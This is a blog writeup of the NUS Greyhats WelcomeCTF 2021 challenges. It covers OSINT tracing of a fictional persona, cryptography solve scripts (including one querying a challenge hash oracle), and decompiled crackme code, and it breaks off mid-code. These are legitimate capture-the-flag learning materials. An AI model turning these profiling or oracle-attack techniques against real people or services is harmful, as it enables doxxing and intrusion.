The National University of Singapore (NUS)’ Greyhats organized a WelcomeCTF from 13 to 15 August 2021. Interestingly, this CTF was sponsored by DSTA, who ran the ill-fated CDDC2021 just 2 months ago. This post serves as my writeup collection for the CTF, which is needed in order to claim the prizes (I don’t normally write writeups). My team came in #2 out of 109 teams. DSTA could probably have been a bit more generous.
NUS Greyhats has published their repository of challenges on GitHub here.
Table of Contents
- OSINT: Stalking 1
- OSINT: Stalking 2
- OSINT: Stalking 3
- Cryptography: Pasta
- Cryptography: Fries
- Cryptography: Burger
- Cryptography: Phish
- Cryptography: Potato
- Unsolved Cryptography Challenges
- Reverse Engineering: Gates
- Reverse Engineering: Doors
- Reverse Engineering: K.R.A.N.E
- Reverse Engineering: easycrackme
- Unsolved Reverse Engineering Challenges
- Web: No Submit Security
- Web: No Ketchup, Just Sauce
- Web: Covid Tracker
- Web: Tiny File Hosting
- Pwn: Flag Hunter
- Pwn: hexdump-bof
- Pwn: fetusrop
- Pwn: babyrop
- Pwn: kidrop
- Pwn: teenrop
- Pwn: Distinct
- Pwn: Notepad–
- Unsolved Pwn Challenges
- Miscellaneous: Sanity Check
- Miscellaneous: Reading the Channel
- Miscellaneous: Strings
- Miscellaneous: Bash Injection
- Miscellaneous: Smoke and Mirrors
- Unsolved Miscellaneous Challenges
OSINT: Stalking 1
Someone just sent us this random-looking photo. Can you help us find the sender’s username?
Flag format : greyhats{username}
File
Easy enough. Username is present in the Authors metadata of the image. Using Windows with no external tool, right click, properties, details.
Flag: greyhats{situpright899}
OSINT: Stalking 2
Now that we know the sender’s username. Can you help us to find the person’s name and birthdate?
People usually release this information on their social media accounts.
Flag Format : greyhats{dd/mm/yyyy_FirstName_LastName}
Typical Sherlock challenge. Using Sherlock:
reignofcomputer@Cosmos:~/sherlock/sherlock$ python3 sherlock.py situpright899 [*] Checking username situpright899 on: [+] ICQ: https://icq.im/situpright899 [+] Quora: https://www.quora.com/profile/situpright899 [+] SparkPeople: https://www.sparkpeople.com/mypage.asp?id=situpright899 [+] TikTok: https://tiktok.com/@situpright899 [+] nairaland.com: https://www.nairaland.com/situpright899
Visiting the profile on TikTok shows off the name and birthdate.
Flag: greyhats{28/07/1995_Lawser_Lok}
OSINT: Stalking 3
The person’s blog site that is shown on tiktok doesn’t seem to load. Is the DNS working correctly?
The TikTok profile also shows off a website, sitdownnow.tk. A simple DNS check shows a TXT record with the flag.
Flag: greyhats{7h15_1Nf0Rm4T10n_1s_4vA1l4bl3_T0_Th3_PuBlic}
Cryptography: Pasta
Found this message beside my pasta in rome. Wonder what it means…
terlungf{J3YP0Z3_G0_PELCG0TE4CUL}
Obvious rot13 cipher. Just use dcode.fr to unscramble.
Flag: greyhats{W3LC0M3_T0_CRYPT0GR4PHY}
Cryptography: Fries
Sometimes we call it chips too!
File
Solved by deces0. His writeup as follows:
Character Frequency Analysis.
- Flag is SHA512-hashed
- Then XOR encrypted
- OTP key passed through substitution cipher
- Vulnerable to frequency analysis, given large word lists
- Use https://www.guballa.de/substitution-solver
- Alternatively, count characters with Python
Counter
and reference known frequency rankings for English characters
Flag: greyhats{M@yb3_y0u_c@n_7rY_5paN15h}
Cryptography: Burger
Have you ever tried eating burger in blocks?
nc challs1.nusgreyhats.org 5210
Length Extension Attack. Hash function leaks flag character by character, but at 56 bytes, that’s quite annoying.
from pwn import * import hashlib context.log_level = 'DEBUG' FLAG_LEN = 56 # 3 blocks, 8 extra chars r = remote('challs1.nusgreyhats.org', 5210) def query(v): r.recvuntil('Please input your text in hexadecimal :\n') r.sendline(v) r.recvuntil('Here\'s the hashed value :\n') return r.recvuntil('\n')[:-1].decode() known = b'' for i in range(4): for j in range(16): block = query((i * 16 + 8 + j + 1) * b'A'.hex()) print(block) if j == 15: block = block[-32 * (i + 2):-32 * (i + 1)] else: block = block[-32 * (i + 1):len(block) - 32 * i] print(block) print() # Test for which char was it for ch in range(256): sha512 = hashlib.sha512() supposed = (ch.to_bytes(1, 'big') + known)[:16] supposed += b'\x00' * (16 - len(supposed[:16])) print(supposed) sha512.update(supposed) check = sha512.hexdigest()[:32] print(ch, check) if block == check: known = ch.to_bytes(1, 'big') + known print(known) break else: raise Exception('Not found...??')
Flag: greyhats{B3lanJa_m3_Burg3R_1f_y0u_3njoyed_7he_Ch@ll3n93}
Cryptography: Phish
Fish is delicious.. What about Phish?
File
Solved by deces0. His writeup as follows:
Euler’s Totient, RSA. See https://math.stackexchange.com/questions/2916269/given-varphi-n-and-n-for-large-values-can-we-know-prime-factors-of-n.
Let a
be coprime to n
. Since φ is even, a ^ φ = 1 MOD n
implies (a ^ (φ / 2) - 1)(a ^ (φ / 2) + 1) = 0 MOD n
. Then we can factor recursively.
Sage
# https://sagecell.sagemath.org/?z=eJyNVE1v2kAQvSPxH0YgVLt1aHAPraLQU5uqp-YQKRIIosU7wCr2rrW7Lkn75zvjj7BGpK0lEIxn3rx58zG-UVqCgK3IvLGQwjVI-hQJFJCZojROeRwOJG5hS54P7BcVSblX8dVwAPSM7y25AFlgDunawltwzZulTdyKjEt6l1yuGuNhr3KM7CSdzy87iJ7zYhHZ92mcuHezNmT8xUClvcrhgDWLM3xD8FmIO_6GGq0ghgKs0NIUgDkWqH0dLI7B_AhisFhMG8eH1jH6kBRxgPh9WxMxFTOxCHmVPT6D36M-ElOudZDKYubz52O8pBy7TEaih6q20awrJuTPj0VfWQ3yaA3Y3NkAe9xLsP6drhX3I76YAXU0LGJLJC_heg6KMrrjiw0Fl-aA9qEwzNH2WHKUAqVZyh1G7pRpl3pzMevF_avC81V2fKLNOo1hwo0aDs40VFfFBi0Ix00AL-wO_XCgz_YyXc_Sjwl_f4pruHusm6i0R4vOo-TyGMdICZlwmIAzXVtN5QF_UqNLqwok2ZqJ071xbhJHmqa4znBHYDvFUd54RSSGg2ZbsMpJZ_od6cbz1hINSkIi67JiPzZEo6XmjavXYyKTiVzFI5Ijqq1xG4paKr2DXDlC2LaakCIdd-Jq7CNDaNqr8Q1V84hYcgxX2xTUDu1wwDHsu6rBwwXEp72oKAcH1YicsRMiRx2xMf78ogb1q3HW-ORfdi-gxU4F5eK4aWnKqJ0b3jORWxTyuWGXgDZ-z4Qxd8gQ0iQgqE0t2rI9GDRpxVS5hzoqisNhY7epKEtSK-oGlNHCi_GD2NqDcqfHZtY_Nt28n97Fs1t601yLFkr9El4ZXZddvKENDYa-aKaneC_Ddb2t_LFNLYrjSW3qBhry-j2PMJtZTDKTMJmhzumKQ02GzpF-vasjX1HqVK2Qzoli_NTdO-P6l1681o__yFCE-8J1ty1qZrEGdcZ6HqV2hTrJ5jBxvDz8P-5BjDJj-VaTlo7u3-gl9OtTSWaUV0GosbSz8R_LUfYs&lang=sage # Find a factor 2 < d < m, m composite def find_fact(m, phi): #Write phi = 2^r * s [r,s] = [phi,0] while(r%2==0): [r,s] = [ZZ(r/2),s+1] #Do until we find a factor 2 < d < m while(1): #Generate a random element 2 < a < m a = ZZ.random_element(3,m) #If we found are lucky then a factor is found directly d = gcd(a,m) if(1 < d < m): return d #Try # d = gcd(a^{2^i * s)-1 , m) #for 0 <= i < s b = power_mod(a,r,m) for i in range(s): d = gcd(b-1,m) if(1 < d < m): return d b = (b^2) % m def factorize(n, phi): work = [n] fact = [] while work: m = work.pop() if m.is_prime(): fact.append(m) else: d = find_fact(m, phi) m = ZZ(m / d) print(d, d.is_prime()) if d.is_prime(): fact.append(d) else: work.append(d) if m.is_prime(): fact.append(m) else: work.append(m) return fact n = 226367641780098164857743655929965858736843872146056513466985344324781318414018940078568533249891467484651910579010709586433269635940448575084361332467419176389961997412037642722681298982441076237440768795498215861720843908355336416571692282766755785293599843087462077692173698303328897418335893239652642404877713617626286475352187318530848923766916610377154093697419024457112188402278019000457218417711800515061225094301872663953061356612577001635892902798885844016745817587242320888892516514112766587816263512231604102819566028421996030540160724944185363805340093226309915917890076466648045713211125296361636326699318879760525925120781339573429099982562565850047034303634889695075810120864083069433627419931132081546052260160992594502739335908321165005132165788010960693115371129104401683593140317864676433039820098499573929420914349149011204307707684813047928143718934701186783172354739047087089653011250691705668400906518300288716698008573618820538949319827379709426219444085123544575277390124241263976612170243852187146312149956339422302642978298717742683442243994086760271986968151000984046670081087051508888876329674445731363749188945494597220650437103938097122706590550689507278545566261538576306107750755847869930267832197664207254439455552941287870293560786037356772032697574005610601029012205746476396951490611935762633441216556270521283579367643529678284002927018375791742757094253170526818857889001865337267650054459131896608784729375111404471513697040149041304913083194357080459173635865720947996669367036749114194415351910067619716616747114824169909878508947262456922070320013161393052519706633057432973572558872118693523452553868961768141678174260766328546982687864320866410853366090543539560226567828213190379220345945297137318757336673770725121582856181825711915369597267095374156523820500442287127260504413510754688292995209348073391135256291944081817213477304240094664130453017091248745085295378266797277114731895560031282216676821435400657999187921565510975925608447042251488858763027579278407029873504189304631484773883601347202784304171456354998917618562240218438905431645059074051013560840905311206432827067791596539369713257159318605580016622493303415111877060896772238036008557079197250448589107856262487651622237670304227418730393545931393421041311598075305949698049877835643961366062606129279267046405767115270817981320949962502739125993394533052940763640188480892681465288237626132560403665457027675313042437584173127174451196422461050233 phi = 226367641780098164857743655929965858736843872146056513466985344324781318414018940078568533249891467484651910579010709586433269635940448575084361332467419176389961997412037642722681298982441076237440768795498215861720843908355336416571692282766755785293599843087462077692173698303328897418335893239652642404877713617626286475352187318530848923766916610377154093697419024457112188402278019000457218417711800515061225094301872663953061356612577001635892902798885844016745817587242320888892516514112766587816263512231604102819566028421996030540160724944185363805340093226309915917890076466648045713211125296361636326699276628849978228259052432745813124516825933761584664225956502209290232862930991455691535535662407524691933854060576840956123726140668250566863121529848576757596142264997443885958332569067179930507553086810092560712047507519939794263425285517385348833009978099289642500092815986375875465268797008318536909015323959079926953416577690579187901655929291577620656657733803151732678586223280818801198728641385882915909140742593042677040139772074962099036227962765476242530370241206463825104548915858541036479688866364148849584502336736672249235372167430238536808014253349943884054149352303955971339688378595780136852013842994365701727377739544259335657358682759342363255303891714525445919262855136397321469623124128080683407563363598478418253391952750792218726298366319232865858358372740809276044178066836336480846672368396859416384739912472654956069612801331244691089431419299098067540644827418477904247727204108001768571154722031707182124385507596093274178206420029757913604868356037442281254695048104809498907979980745275850221765232926166588389432627602661993813294215458411660356001919729709462279503175478846228578258017261183715530022966644029254346798478548144403902989776367541941179357745682746923244903985796033420400047176940563498122846608886613281009657746038685459314380742999972388810089882975529298322211075963383053584863752175933465338692756893971531768685251659484577238501820774709803669075081813619682123853865840588251064415562951905585016707916265213385210163449104288091387047033299802466438141973655251205179986945651406717009015285500407784554816286247007625386597755563248530082608766182421478870357317510114964869402179470031555015656155051510842008454548535851611925438225845973427789089306605070666936162692694985409085736946929053847053154356714803427811969154686778145925680957583199099474057574851500263400587671014862711440 print(factorize(n, phi))
Cleanup
import random from gmpy2 import next_prime from Crypto.Util.number import getPrime, long_to_bytes, GCD # See phish.sage primes = [17539038835272480236744038371885296119570055295745352280943329419073849865267413825654498830802044472088913020936269926715111499800537843105939617405912171667566692422977503036218764056382388887952403795869969244436582624782850539791330328075887586867218154286309350361467956805099564830278611786210702892666358536675573867532410424546622089321622203540538384221861991594230077786572253686251949481613910986866195680723999311061579137920657783207779308293521066154635515762962133279595950637351808819666831618258333125708998905870372173946467978133748696813287303310935903943448334764243868449929426223228845669980939, 29187085938980901009732505441569839453461872395170285750931642203265479500655307025392259135428239084442532699505508381699221189469106465440586714838360364024953375621513711993125083805086015164168490970560187508970019329503714769830626299724279535292111111472730650231860242370463349544816603954141921750760755437634519408987299433111564315483250468233682128476597160727238401622648515844331746232329146483784105486967137500319487172931677847366158856151716486153771899015641806842594047189279513697044584206774992766283515680749500608666641010099981206258454312996087092292019415499653324106384995824037590188905631, 22645270720314666569215404091017321035326491841903914685102698712283996611697459735158036897737238296127995440231471965980455303355563285202573914865699315895570575994886373559942791633629612875002808664485431445654605081570411633660763592291709782625537653386640214919518179065781909748184148314919926283806097851834712908879653999015624250326476757341800119223223855117226345797469217785972154441870875069388830989168924426396472076037222952656843397356611399603206533574676882280678325305326990311203539285932008811001251394801558456474927791040354351816708259092850729637567396642232027277273922139537559253318799, 19527214775720896462476965794711604517750988768281650247792619825562126123951712823085765701557722708490088618719588295393583440271555032679022392844792642513849803716820220523157416238896020115140325433124480341442174127218931772690897807950568153984377912393304644595838225866349775919826852630315774254650654633239583733179916945610565930430378386926247583060354826599951103753619833863524212474375825504353760818337512707410154790564472470988342680301924734068544126807578153793440817033379418733732693154229552085175842208422353953010618285111552570740759501932982718024429611703983553310710911111949289835060763] ''' # From output.txt N = 309851982994001437593542832261718235128894151552527860198891106765154365891272996974637273054039026080036463606291440184800957265362522488489625793129272549771592092493334873311568431804369750388557996623701615168572586863140022784381768934511495446031089674091171502227546272493083149988026055415791547652723226501737918564965659444045787224659699684514717996125411139134199811806940811033563869108370049552967949366080122331122917763262379635270009607722644564098046718964858771681240442661419668875201892052435144802231666517243921695175037373141847519550645089727769498823270003084300876928998071023999213733093187083134616963526812032051410822076826326845804269221735745970190453818873519918380870169542875317212096417337822497643270990865876732281746251940206365066720758687175105627721894142013282523054920091029763583033427813514152794222309061289593435604454904537043734720459738002624901485752376139691545103639215628826651224799575433515160529289127145612306956214436045138021138679426261362123182778960479569590031416176986393732458480261188123611787483014826836556570549683508087462280163009553585159077330166968748444265097676454663904319611127558492052988456448785320369571237712145975508525681250821306427200698849587 for prime in primes: random.seed(prime) p = next_prime(random.randint(1 << 2047, 1 << 2048)) q = next_prime(random.randint(1 << 2047, 1 << 2048)) if N == p * q: return(prime) ''' random.seed(primes[0]) c = 35991518667159517310847012005223670555948663002088853435485852967280746328959837478210327523176569442913404437002631784073559478228663651434657034581081672787470130127826029252489216229822528395810231619009948992070085954915846541385304865917921350871057043436886931022253334954589310101228242178080686273093219282645746057625571505995213098455427668410098030334704131377734399517813270076611701407734025277905243006648602307014457926186779707586258034821858729240127305835083654029433272048829748773171256850106995003774255573149230165402096174779642940937902235902791732053698741953862662234022560167831793428572322605855577145131844647989092678529245664276044628886958600269053185728670050872671287081288682267134933380293912032068925423201390929121043390028190302479758932232803607916126530381852817324484953374944818755451080292838574408937370910910728758994274166649981344891737003222866101338542887095260171097861899557242085794872416682731140065316317348904550129163657542359247240173113844455826269068183909400529029569080056269887980403205070430041650497672250350063445842143845137360940049053787134342409091480508401678920971933019355487594501350046866838905576961019622775777317809251320403046577987759838113218791840077 p = next_prime(random.randint(1 << 2047, 1 << 2048)) q = next_prime(random.randint(1 << 2047, 1 << 2048)) N = p * q l = (p - 1) * (q - 1) // GCD(p - 1, q - 1) d = pow(0x10001, -1, l) m = pow(c, d, N) print(long_to_bytes(m))
Flag: greyhats{F@ct0r1n9_w1th_ph1}
Cryptography: Potato
Only the best potatoes make it into our CTF!
File
Solved by deces0. His writeup as follows:
Finite Field Arithmetic. See https://en.wikipedia.org/wiki/Finite_field_arithmetic#Multiplicative_inverse.
Let k
be an integer such that ak = 1 MOD (2 ^ n - 1)
. Then g = g ^ (ak) = A ^ k
can be recovered. Useful for coding theory.
from Crypto.Util.number import long_to_bytes n = 272 # mod = x^272 + x^9 + x^3 + x^2 + 1 a = 5233720648910518692940289829476216124984566337079630012988557537598391233215850077 coeff = [0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1] F = GF(2 ^ n, 'x') A = F(coeff) g = A ^ inverse_mod(a, 2 ^ n - 1) bits_rev = reversed(g.polynomial().list()) long = sum(2 ^ i for i, x in enumerate(bits_rev) if x) print(long_to_bytes(long))
Flag: greyhats{P0lyn0M1al5_Ar3_SuP3RI0R}
Unsolved Cryptography Challenges
Reverse Engineering: Gates
Use the correct keys to enter the cool castle I copied from codepen.
http://challs1.welcomectf.tk:5300/
I solved this through a lot of bruteforce, just by reading the JS and stepping through. Each gate’s key is pretty small and the length is made known, so it’s pretty easy to just use the browser’s dev tools and call the functions repeatedly until you get the correct answer for each gate, then combine them together.
Flag: greyhats{1ts_c0m1ng_t0_r0m3}
Reverse Engineering: Doors
Find the keys to unlock all doors. Python is easier to write but is it also easier to read?
nc challs1.welcomectf.tk 5301
File
Solved by deces0. His writeup as follows:
door1
and door2
are simple and invertible functions.
Just brute force door3
(10 ^ 7) and door4
(10 ^ 6).
Flag: greyhats{0p3n_th3m_w17h_c0d3}
Reverse Engineering: K.R.A.N.E
Keep Reversing and Nobody Explodes
Bomb defusing, but there’s no manual…? Can you still do it?
challs1.nusgreyhats.org:5302
My favorite challenge in the entire CTF, because it’s modelled after Keep Talking and Nobody Explodes. Great game.
The idea behind this challenge is wasm decompilation to figure out the requirements for each module within the bomb, but given the generation of the bomb is done in raw JS and not called from the wasm, it’s easy enough to remove the unknowns from the challenge by simply overriding the setup()
function in the JS with the same values each run for the bomb’s components (wires and serial). You can even remove the randomness element from how many wires will spawn.
The biggest problem is finding a nice RNG for the serial and button, so I had overridden the setup()
function to print the random serial to console, then tried a few times to get one that lets me push the button fast (eventually finding one that worked 3 seconds into the countdown).
Finally, having hardcoded the serial, one can just refresh the page multiple times and figure out which of the 3 wires to cut, and what sequence the 4 alphabets need to be pressed true raw bruteforce. Unintended way of solving, could be avoided by having the wasm been the one to generate the randomness.
Final setup()
code was:
// Button at 4:57; 3rd wire; ACDB function setup() { const randomLetter = () => String.fromCharCode(65 + Math.floor(Math.random()*6)); serial = "FA1755BE"; wires = []; const wireCount = 3; for (let i = 0; i < wireCount; i++) { wires.push({ cut: false, color: 1 }); } seqBtns = [ { pressed: false }, { pressed: false }, { pressed: false }, { pressed: false }, ]; timeLeft = 300; let counter = setInterval(() => { if (timeLeft < 0) { clearInterval(counter); alert("Obviously a bomb detonates when the timer hits 0 right? What else were you expected :P"); document.location.reload(); return; } timeLeft--; updateTimer(currentTime()); }, 1000); }
Flag: greyhats{Wh0_n33D5_a_p4rTnER}
Reverse Engineering: easycrackme
I think this is easy. Hope you do too. Find the correct key that the program expects.
File
Solved by deces0. His writeup as follows:
Decompile with Ghidra, we have the following (function address not included):
undefined8 CheckAll(void) { long in_FS_OFFSET; char key [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Tell me the key: "); fgets(key,0x40,stdin); Check1(key); Check2(key); Check3(key); Check4(key); Check5(key); Check6(key); puts("*** Passed all checks *** "); puts("*** Submit the key as the flag *** "); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
Check for length:
void Check1(char *key) { size_t length; puts("=== Check 1 ==="); length = strlen(key); if (key[length- 1] == '\n') { key[length- 1] = '\0'; } // Decreases if last character is \n length = strlen(key); if (length != 38) { puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); } return; }
Check for prefix:
void Check2(char *key) { int is_zero_if_equal; puts("=== Check 2 ==="); is_zero_if_equal = strncmp(key,"greyhats{",9); if (is_zero_if_equal != 0) { puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); } return; }
Check for last character:
void Check3(char *key) { size_t length; puts("=== Check 3 ==="); length = strlen(key); if (key[length - 1] != '}') { puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); } return; }
Check for characters before underscore
- Brute force combinations of
fst
andsnd
to see if they yield characters fromolympics
- Multiple combinations exist that pass all checks. For some reason,
fst
must be'2'
andsnd
must be capitalized.
void Check4(char *key) { int is_zero_if_equal; char *buf; long pos_underscore; char fst; byte snd; ulong i; puts("=== Check 4 ==="); buf = strchr(key,L'_'); pos_underscore = (long)buf - (long)key; buf = (char *)malloc((pos_underscore - 9U >> 1) + 1); for (i = 0; i < pos_underscore - 9U >> 1; i = i + 1) { fst = key[i * 2 + 9]; if ((fst < '0') || ('9' < fst)) { if (('`' < fst) && (fst < 'g')) { fst = fst + -0x57; } } else { fst = fst + -0x30; } snd = key[i * 2 + 10]; if (((char)snd < '0') || ('9' < (char)snd)) { if (('`' < (char)snd) && ((char)snd < 'g')) { snd = snd + 0xa9; } } else { snd = snd - 0x30; } buf[i] = (byte)((int)fst << 4) | snd; } buf[pos_underscore - 9U >> 1] = '\0'; is_zero_if_equal = strcmp(buf,"olympics"); if (is_zero_if_equal != 0) { puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); } free(buf); return; }
Check for the two characters between first and second underscores. Just brute force it if you don’t bother to read the code.
void Check5(char *key) { int is_zero_if_equal; char *pos_fst_underscore; char *buf; long pos_snd_underscore; byte ch; ulong i; puts("=== Check 5 ==="); pos_fst_underscore = strchr(key,0x5f); pos_fst_underscore = pos_fst_underscore + (1 - (long)key); buf = strchr(key + (long)pos_fst_underscore,0x5f); pos_snd_underscore = (long)buf - (long)key; buf = (char *)malloc((pos_snd_underscore - (long)pos_fst_underscore) + 1); for (i = 0; i < (ulong)(pos_snd_underscore - (long)pos_fst_underscore); i = i + 1) { if ((i & 1) == 0) { ch = 0x20; } else { ch = 0x21; } buf[i] = ch ^ key[(long)(pos_fst_underscore + i)]; } buf[(pos_snd_underscore - (long)pos_fst_underscore) * 2] = '\0'; is_zero_if_equal = strcmp(buf,"in"); if (is_zero_if_equal != 0) { puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); } free(buf); return; }
Check for final characters after second underscore:
void Check6(char *key) { uint uVar1; int iVar2; char *pos_aft_snd_underscore; char *ptr_curly_bracket_end; long pos_curly_bracket_end; undefined8 *puVar3; undefined8 *puVar4; long in_FS_OFFSET; byte bVar5; ulong local_198; long local_190; ulong local_188; long local_180; undefined8 local_158 [41]; long local_10; bVar5 = 0; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("=== Check 6 ==="); pos_aft_snd_underscore = strchr(key,L'_'); pos_aft_snd_underscore = strchr(pos_aft_snd_underscore + 1,L'_'); pos_aft_snd_underscore = pos_aft_snd_underscore + (1 - (long)key); ptr_curly_bracket_end = strchr(key + (long)pos_aft_snd_underscore,L'}'); pos_curly_bracket_end = (long)ptr_curly_bracket_end - (long)key; if (((int)pos_curly_bracket_end - (int)pos_aft_snd_underscore & 3U) != 0) { puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); } local_198 = ((ulong)(pos_curly_bracket_end - (long)pos_aft_snd_underscore) >> 2) * 3; local_190 = pos_curly_bracket_end - (long)pos_aft_snd_underscore; while ((local_190 != 0 && (key[(long)(pos_aft_snd_underscore + local_190 + -1)] == '='))) { local_198 = local_198 - 1; local_190 = local_190 + -1; } ptr_curly_bracket_end = (char *)malloc(local_198 + 1); puVar3 = &DAT_001020c0; puVar4 = local_158; for (pos_curly_bracket_end = 0x28; pos_curly_bracket_end != 0; pos_curly_bracket_end = pos_curly_bracket_end + -1) { *puVar4 = *puVar3; puVar3 = puVar3 + (ulong)bVar5 * -2 + 1; puVar4 = puVar4 + (ulong)bVar5 * -2 + 1; } local_180 = 0; for (local_188 = 0; local_188 < local_198; local_188 = local_188 + 4) { uVar1 = *(uint *)((long)local_158 + (long)(key[(long)(pos_aft_snd_underscore + local_188 + 1)] + -0x2b) * 4) | *(int *)((long)local_158 + (long)(key[(long)(pos_aft_snd_underscore + local_188)] + -0x2b) * 4) << 6; if (key[(long)(pos_aft_snd_underscore + local_188 + 2)] == '=') { uVar1 = uVar1 << 6; } else { uVar1 = *(uint *)((long)local_158 + (long)(key[(long)(pos_aft_snd_underscore + local_188 + 2)] + -0x2b) * 4) | uVar1 << 6; } if (key[(long)(pos_aft_snd_underscore + local_188 + 3)] == '=') { uVar1 = uVar1 << 6; } else { uVar1 = *(uint *)((long)local_158 + (long)(key[(long)(pos_aft_snd_underscore + local_188 + 3)] + -0x2b) * 4) | uVar1 << 6; } ptr_curly_bracket_end[local_180] = (char)(uVar1 >> 0x10); if (key[(long)(pos_aft_snd_underscore + local_188 + 2)] != '=') { ptr_curly_bracket_end[local_180 + 1] = (char)(uVar1 >> 8); } if (key[(long)(pos_aft_snd_underscore + local_188 + 3)] != '=') { ptr_curly_bracket_end[local_180 + 2] = (char)uVar1; } local_180 = local_180 + 3; } iVar2 = strcmp(ptr_curly_bracket_end,"tokyo"); if (iVar2 == 0) { free(ptr_curly_bracket_end); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } puts("-- Failed check"); /* WARNING: Subroutine does not return */ exit(1); }
Rewrite the code
- Dump data from
.data
- Type cast to
long long
- Split every 3 bytes into 4 blocks of 6 bits
#include <stdlib.h> #include <string.h> #include <stdio.h> void Check6(char* excerpt) { char _dat[320] = { 0x3e, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x3d, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1a, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00 }; long long* data = (long long*) _dat; long len = strchr(excerpt, '}') - excerpt; long buf_len = (len >> 2) * 3; while ((len != 0 && excerpt[len - 1] == '=')) { --buf_len; --len; } char* buf = (char *) malloc(buf_len + 1); for (long i = 0, j = 0; i < buf_len; i += 4, j += 3) { long uVar = data[(excerpt[i + 1] - 0x2b) * 4] | data[(excerpt[i] - 0x2b) * 4] << 6; uVar <<= 6; if (excerpt[i + 2] != '=') { uVar += data[(excerpt[i + 2] - 0x2b) * 4]; } uVar <<= 6; if (excerpt[i + 3] != 